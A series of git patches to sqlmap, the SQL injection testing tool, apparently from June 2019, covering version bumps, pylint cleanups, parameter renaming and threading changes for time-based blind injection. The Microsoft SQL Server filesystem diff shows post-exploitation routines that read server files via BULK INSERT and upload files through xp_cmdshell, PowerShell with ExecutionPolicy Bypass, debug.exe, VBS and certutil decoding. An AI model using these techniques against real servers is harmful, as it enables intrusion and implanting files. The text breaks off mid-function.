b/lib/core/settings.py index aada5b9dd9e..a94808fd467 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.164" +VERSION = "1.3.6.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index fd2695d75b9..3b188613095 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -645,8 +645,8 @@ def attackDumpedTable(): break for column in columns: - if column != "__infos__": - if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in value for value in table[column]["values"]): + if column != "__infos__" and table[column]["values"]: + if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]): binary_fields.add(column) if binary_fields: From 357989774a6e77dfbd361431e748e0a3dff7547f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 12:22:59 +0200 Subject: [PATCH 437/800] Minor update (resumed...) --- lib/core/settings.py | 2 +- thirdparty/ansistrm/ansistrm.py | 11 ++++++++--- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a94808fd467..027520930f2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.0" +VERSION = "1.3.6.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index fd92f15761d..028ec3718db 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -187,14 +187,19 @@ def colorize(self, message, levelno): string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: - match = re.search(r" \('(.+)'\)\Z", message) + match = re.search(r"\bresumed: '(.+\.\.\.)", message) if match: string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: - for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + match = re.search(r" \('(.+)'\)\Z", message) + if match: string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) From b83bdee764b9f9336f30ffad3fb5c68d7920ad98 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 12:38:37 +0200 Subject: [PATCH 438/800] Trivial update for #481 --- lib/core/settings.py | 2 +- plugins/generic/databases.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 027520930f2..8c9ec719cee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.1" +VERSION = "1.3.6.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 14374650908..6a472923c35 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -317,7 +317,7 @@ def getTables(self, bruteForce=None): logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() - warnMsg += "possible to get column comments" + warnMsg += "possible to get table comments" singleTimeWarnMessage(warnMsg) if db not in kb.data.cachedTables: @@ -399,7 +399,7 @@ def getTables(self, bruteForce=None): logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() - warnMsg += "possible to get column comments" + warnMsg += "possible to get table comments" singleTimeWarnMessage(warnMsg) if tables: @@ -1031,4 +1031,4 @@ def getStatements(self): else: kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedStatements] - return kb.data.cachedStatements \ No newline at end of file + return kb.data.cachedStatements From f9fe1dde73f43fd2e8facb9415df2758b48f1d8d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 12:55:53 +0200 Subject: [PATCH 439/800] Minor patch (WAFs with 404) --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d3e7a0f881e..1f5fc86023f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1384,7 +1384,7 @@ def checkWaf(): conf.timeout = IDS_WAF_CHECK_TIMEOUT try: - retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] or 0) < IDS_WAF_CHECK_RATIO + retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IDS_WAF_CHECK_RATIO except SqlmapConnectionException: retVal = True finally: diff --git a/lib/core/settings.py b/lib/core/settings.py index 8c9ec719cee..1fc6ae1d5f7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.2" +VERSION = "1.3.6.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a6b6b91989f95decb99916ba6c25fd07c9ce4665 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 13:42:57 +0200 Subject: [PATCH 440/800] Further pleasing pylint gods --- .pylintrc | 4 ++-- lib/core/common.py | 6 +++--- lib/core/settings.py | 2 +- lib/core/threads.py | 4 ++-- lib/utils/deps.py | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/.pylintrc b/.pylintrc index ec855adbcac..631dcdd9110 100644 --- a/.pylintrc +++ b/.pylintrc @@ -7,7 +7,7 @@ # Python code to execute, usually for sys.path manipulation such as # pygtk.require(). -init-hook= +init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))" # Add files or directories to the blacklist. They should be base names, not # paths. @@ -306,7 +306,7 @@ ignore-mixin-members=yes # (useful for modules/projects where namespaces are manipulated during runtime # and thus existing member attributes cannot be deduced by static analysis. It # supports qualified module names, as well as Unix pattern matching. -ignored-modules= +ignored-modules=thirdparty.six.moves # List of classes names for which member attributes should not be checked # (useful for classes with attributes dynamically set). This supports can work diff --git a/lib/core/common.py b/lib/core/common.py index 33ad7e5d487..785e1bf3fe8 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1476,7 +1476,7 @@ def parseTargetDirect(): if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): __import__("_mssql") - import pymssql + pymssql = __import__("pymssql") if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": errMsg = "'%s' third-party library must be " % data[1] @@ -4316,9 +4316,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False): True """ - class _(six.StringIO): + class _(six.StringIO, object): def __init__(self, content, url): - six.StringIO.__init__(self, content) + super(_, self).__init__(content) self._url = url def geturl(self): diff --git a/lib/core/settings.py b/lib/core/settings.py index 1fc6ae1d5f7..663ffb0357f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.3" +VERSION = "1.3.6.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 2ec207ece0d..bf9327c4866 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -50,14 +50,14 @@ def reset(self): self.lastComparisonHeaders = None self.lastComparisonCode = None self.lastComparisonRatio = None - self.lastErrorPage = None + self.lastErrorPage = tuple() self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 - self.lastRedirectURL = None + self.lastRedirectURL = tuple() self.random = WichmannHill() self.resumed = False self.retriesCount = 0 diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 265c0eb87fd..1dd2e525f19 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -21,7 +21,7 @@ def checkDependencies(): if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): __import__("_mssql") - import pymssql + pymssql = __import__("pymssql") if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " From e236ba56166223a3083ce3e3020afc2cf5b96863 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Jun 2019 16:33:27 +0200 Subject: [PATCH 441/800] Removing single-thread limit for time-based SQLi --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 --- lib/request/inject.py | 2 +- lib/techniques/blind/inference.py | 12 ++++++++---- 5 files changed, 11 insertions(+), 9 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 9fef8f3e63e..b55574e040d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1875,6 +1875,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False + kb.forceThreads = None kb.forceWhere = None kb.futileUnion = None kb.heavilyDynamic = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 663ffb0357f..6ccc6c6d95d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.4" +VERSION = "1.3.6.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index fa889c9ebcb..a5ba73f650d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -721,9 +721,6 @@ def cmdLineParser(argv=None): parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS_HELP) - parser.add_option("--force-threads", dest="forceThreads", action="store_true", - help=SUPPRESS_HELP) - parser.add_option("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS_HELP) diff --git a/lib/request/inject.py b/lib/request/inject.py index 3c52bd6b76d..0b46717fc73 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -91,7 +91,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): - if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads): + if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): expression = "SELECT %s FROM (%s)" % (field, expression) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index d0ccf66d8fb..8f132b5487a 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -24,6 +24,7 @@ from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter +from lib.core.common import readInput from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf @@ -163,12 +164,15 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if showEta: progress = ProgressBar(maxValue=length) - if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: - warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" - singleTimeWarnMessage(warnMsg) + if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: + msg = "multi-threading is considered unsafe in " + msg += "time-based data retrieval. Are you sure " + msg += "of your choice (breaking warranty) [y/N] " + + kb.forceThreads = readInput(msg, default='N', boolean=True) if numThreads > 1: - if not timeBasedCompare or conf.forceThreads: + if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: From b3cdec547b2976ebf0b8e1a8f67d7032d4aa9ae3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Jun 2019 10:41:51 +0200 Subject: [PATCH 442/800] Some renaming (pylint stuff) --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 4 +- plugins/dbms/firebird/filesystem.py | 4 +- plugins/dbms/h2/filesystem.py | 4 +- plugins/dbms/hsqldb/filesystem.py | 4 +- plugins/dbms/maxdb/filesystem.py | 4 +- plugins/dbms/mssqlserver/filesystem.py | 104 ++++++++++++------------- plugins/dbms/mysql/filesystem.py | 44 +++++------ plugins/dbms/oracle/filesystem.py | 4 +- plugins/dbms/postgresql/filesystem.py | 22 +++--- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 4 +- plugins/dbms/sybase/filesystem.py | 4 +- plugins/generic/filesystem.py | 4 +- plugins/generic/misc.py | 2 +- 17 files changed, 108 insertions(+), 108 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 1f5fc86023f..21cd0af229a 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -343,7 +343,7 @@ def checkSqlInjection(place, parameter, value): msg += "only basic UNION tests if there is not " msg += "at least one other (potential) " msg += "technique found. Do you want to reduce " - msg +="the number of requests? [Y/n] " + msg += "the number of requests? [Y/n] " kb.futileUnion = readInput(msg, default='Y', boolean=True) if kb.futileUnion and int(_) > 10: diff --git a/lib/core/settings.py b/lib/core/settings.py index 6ccc6c6d95d..ff7f3b1c5bc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.5" +VERSION = "1.3.6.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index fed692ae81b..540aec0f54c 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -23,7 +23,7 @@ def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" logger.warn(warnMsg) - def isDba(self, *args, **kwargs): + def isDba(self, user=None): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" logger.warn(warnMsg) diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 0d500968429..05b6a01e057 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -9,10 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Microsoft Access it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Microsoft Access it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 21cec6896c6..888da8433cc 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -9,10 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Firebird it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Firebird it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index 800d206c8f3..2bfb05ea08b 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -9,10 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on H2 it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on H2 it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index c0bb39b0cf9..a5dd2990c31 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -9,10 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on HSQLDB it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 34da2b76937..00c09480d03 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -9,10 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on SAP MaxDB reading of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SAP MaxDB writing of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index df77b553e54..609ce2d98e3 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -81,8 +81,8 @@ def _updateDestChunk(self, fileContent, tmpPath): return chunkName - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile + def stackedReadFile(self, remoteFile): + infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) result = [] @@ -93,8 +93,8 @@ def stackedReadFile(self, rFile): inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) - logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) + logger.debug("loading the content of file '%s' into support table" % remoteFile) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) @@ -147,7 +147,7 @@ def stackedReadFile(self, rFile): if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " - errMsg += "file '%s'" % rFile + errMsg += "file '%s'" % remoteFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) @@ -160,41 +160,41 @@ def stackedReadFile(self, rFile): return result - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) - def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType - infoMsg += "to file '%s'" % dFile + infoMsg += "to file '%s'" % remoteFile logger.info(infoMsg) - encodedFileContent = encodeBase64(wFileContent, binary=False) + encodedFileContent = encodeBase64(localFileContent, binary=False) encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File) randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript) - wFileSize = len(encodedFileContent) + localFileSize = len(encodedFileContent) chunkMaxSize = 1024 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) - for i in xrange(0, wFileSize, chunkMaxSize): + for i in xrange(0, localFileSize, chunkMaxSize): wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " - psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile + psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) - logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) + logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile) commands = ( "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, @@ -204,27 +204,27 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType - infoMsg += "file content to file '%s', please wait.." % dFile + infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) - dFileName = ntpath.basename(dFile) - sFile = "%s\\%s" % (tmpPath, dFileName) - wFileSize = os.path.getsize(wFile) + remoteFileName = ntpath.basename(remoteFile) + sFile = "%s\\%s" % (tmpPath, remoteFileName) + localFileSize = os.path.getsize(localFile) debugSize = 0xFF00 - if wFileSize < debugSize: - chunkName = self._updateDestChunk(wFileContent, tmpPath) + if localFileSize < debugSize: + chunkName = self._updateDestChunk(localFileContent, tmpPath) debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType) - debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, dFileName, dFile) + debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile) logger.debug(debugMsg) commands = ( "cd \"%s\"" % tmpPath, - "ren %s %s" % (chunkName, dFileName), - "move /Y %s %s" % (dFileName, dFile) + "ren %s %s" % (chunkName, remoteFileName), + "move /Y %s %s" % (remoteFileName, remoteFile) ) self.execCmd(" & ".join(command for command in commands)) @@ -235,18 +235,18 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp debugMsg += "on the server, please wait.." logger.debug(debugMsg) - for i in xrange(0, wFileSize, debugSize): - wFileChunk = wFileContent[i:i + debugSize] - chunkName = self._updateDestChunk(wFileChunk, tmpPath) + for i in xrange(0, localFileSize, debugSize): + localFileChunk = localFileContent[i:i + debugSize] + chunkName = self._updateDestChunk(localFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " - copyCmd = "ren %s %s" % (chunkName, dFileName) + copyCmd = "ren %s %s" % (chunkName, remoteFileName) else: debugMsg = "appending chunk " - copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) + copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName, chunkName, remoteFileName) - debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) + debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName) logger.debug(debugMsg) commands = ( @@ -257,18 +257,18 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp self.execCmd(" & ".join(command for command in commands)) - logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) + logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile)) commands = ( "cd \"%s\"" % tmpPath, - "move /Y %s %s" % (dFileName, dFile) + "move /Y %s %s" % (remoteFileName, remoteFile) ) self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using a custom visual basic script to write the " - infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile) + infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile) logger.info(infoMsg) randVbs = "tmps%s.vbs" % randomStr(lowercase=True) @@ -327,10 +327,10 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): Else mimedecode = InStr(Base64Chars, strIn) - 1 End If - End Function""" % (randFilePath, dFile) + End Function""" % (randFilePath, remoteFile) vbs = vbs.replace(" ", "") - encodedFileContent = encodeBase64(wFileContent, binary=False) + encodedFileContent = encodeBase64(localFileContent, binary=False) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) @@ -349,9 +349,9 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using certutil.exe to write the %s " % fileType - infoMsg += "file content to file '%s', please wait.." % dFile + infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) chunkMaxSize = 500 @@ -359,7 +359,7 @@ def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, file randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\\%s" % (tmpPath, randFile) - encodedFileContent = encodeBase64(wFileContent, binary=False) + encodedFileContent = encodeBase64(localFileContent, binary=False) splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) @@ -367,17 +367,17 @@ def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, file self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) - logger.debug("decoding the file to %s.." % dFile) + logger.debug("decoding the file to %s.." % remoteFile) commands = ( "cd \"%s\"" % tmpPath, - "certutil -f -decode %s %s" % (randFile, dFile), + "certutil -f -decode %s %s" % (randFile, remoteFile), "del /F /Q %s" % randFile ) self.execCmd(" & ".join(command for command in commands)) - def stackedWriteFile(self, wFile, dFile, fileType, 